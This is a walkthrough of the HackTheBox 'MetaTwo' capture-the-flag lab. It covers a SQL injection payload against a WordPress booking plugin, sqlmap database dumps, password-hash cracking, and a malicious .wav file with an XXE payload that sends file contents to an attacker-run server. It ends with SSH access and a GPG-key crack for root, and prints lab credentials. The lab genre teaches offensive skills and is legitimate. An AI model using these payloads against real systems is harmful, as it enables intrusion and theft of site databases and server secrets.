Metatwo Hackthebox Walkthrough


Hey there, In this post let’s see how to CTF the metatwo challenge from hackthebox. Below is the video format of the post, Do check that also ????????


Metatwo Hacking Phases

  • Adding Ip to /etc/hosts
  • Enumerating /events
  • Intercept request and dump
  • Finding vulnerability for wp 5.6.2
  • Upload payload and try to get information
  • Connect using ssh
  • Privilege escalation


Let’s start

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Adding IP to hosts

Firstly let’s add the IP address and the domain name into /etc/hosts the target domain name is metapress.htb

sudo nano /etc/hosts

Nmap Scan

In the nmap scan we have found the port 21 and 22, 80 are open and hope we can connect to the site using port 80.

And yes we can connect to the site using port 80.

nmap -sC -sV

Enumerating site

Now looking at the scan we can say that the site runs WordPress, We can see in the Nmap scan that it says it runs WordPress 5.6.2

So, I just googled WordPress 5.6.2 Vulnerabilities. I have found it’s vulnerable to SQL injection

From the above link we know how to exploit, Kindly take a look at the wpscan link.

we will need the right _wpnonce field, which will trick the website into thinking the injection request is coming from within the site, and not from us.

The metapress.htb/events seem to be sus. So I just enumerated the page source and searched for _wpnonce and my value was something like this _wpnonce:’5a84303f70′ };

Capture and Dump

Now, Let’s capture and dump using burp suite and sqlmap. Let’s capture it using the below command

*Change the _wpnonce value

curl -i 'https://metapress.htb/wp-admin/admin-ajax.php' \ --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

Now we can say that we are able to curl, Now let’s try to send it in burpsuite. When we echo the jpg file we can see that it runs mariaDB and debian 11.

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=1d2a2bcb0d&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' -x

Enter the above command to send the request into burpsuite make sure you change _wpnonce and add -x

Make sure Burp Suite is open and send out the curl request. Send the request to the repeater and remove the extra as I did in the screenshot. At the end add service = 1.

Now, right-click and click on copy to file and save as admin.req

Now using sqlmap let’s dump the file and check for databases

sqlmap -r admin.req -p total_service --dbs

We have found two database that is blog and information_schema

Let’s find the tables of blog database and dump it.

sqlmap -r admin.req -p total_service -D blog --tables

Let’s dump the wp_users table

sqlmap -r admin.req -p total_service -D blog -T wp_users --dump

Cracking Hash

To crack the hash lets copy the manager hash alone, I have tried to crack admin but it’s not working.

Let’s use hash if to find the hash type. Save the manager hash in txt format.

hashid 'hash'

Let’s use hash cat and find the password.

sudo hashcat -a 0 -m 400 hash.txt /usr/share/wordlists/rockyou.txt --show

Password is partylikerockstar

Accessing wordpress

We know that the site runs on wordpress so, I just enter the directory /wp-admin and it took me to login page and now we can enter the username and password.

username: manager
password: partylikerockstar

Once we enter into the WordPress dashboard using wappalyzer check the version of WordPress.

I have come across the tryhackme room where they discussed about the vulnerability and luckily they also gave the payloads.

Creating and Uploading payload

To create a payload we are creating a .wav file, To create a malicious .wav file enter the below command.

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"''"'"'>%remote;%init;%trick;]>\x00' > payload.wav

*In the IP field enter the tun0 IP address.

Now create a file called NAMEEVIL.dtd

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM ';'>" >

Now we start the python web server and upload the .wav file into http://metapress.htb/wp-admin/upload.php

sudo python3 -m httpd.server 9001

The result should be something like this.

Copy the highlighted area and paste it in php -a interactive shell

To start the shell enter php -a

echo zlib_decode(base64_decode(‘paste the highlighted area here‘));

We can see that we are able to obtain the /etc/passwd file ;et’s try to change the NAMEEVIL.dtd and the below one.

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../wp-config.php"> <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM ';'>" >

Now upload the .wav file into wordpress uploads and make sure your python server is running.

Once you get the request after uploading the .wav file copy and paste it into an interactive shell that is php -a

We can see an FTP username and password. From the Nmap scan, we know port 21 is open and let’s try and connect to port 21.

Accessing Target Machine

Username: metapress.htb
Password: '9NYS_ii@FyL_p5M2NvJ'

Let’s enumerate and try to find something inetresting.

cd mailer
get send_email.php

Now we have downloaded a file called send_email.php

Let’s see that

Now, Let’s connect to the username jnelson@metapress.htb using ssh

ssh jnelson@metapress.htb

Password is in the above screenshot.

Privilege Escalation

If we do an ls command we can find the user.txt file and yeah you did it we have found the user flag.

After going through some directories I found .passpie directory

ls -a
cd .passpie
ls -a
cd .keys

Now I just copied the private key and saved it as a file separately in my system. I saved it in file.txt

Then I converted the file to gpg2john format to crack the hash in john.

gpg2john key > out

To crack the password just use john or enter the below command.

sudo john -w:/usr/share/wordlists/rockyou.txt out

Now we know the password is blink182 to get the root access entered into /.passpie/ssh directory

cat root.pass

Copy the PGP message separately in notepad and remove the lines in between and create a new file in the target system called new.pass

cd /dev/shm
nano new.pass
passpie list
passpie export new.pass
cat hello.pass

Now we got the root password now enter su root

su root
Once you entered the password go to /root dir
cd /root
cat root.txt 


According to me, this is a good CTF challenge I would rate a solid 4 out of 10. Hope you guys try it and if you have any doubts ask them on the discord channel. See you in the next post ❤️


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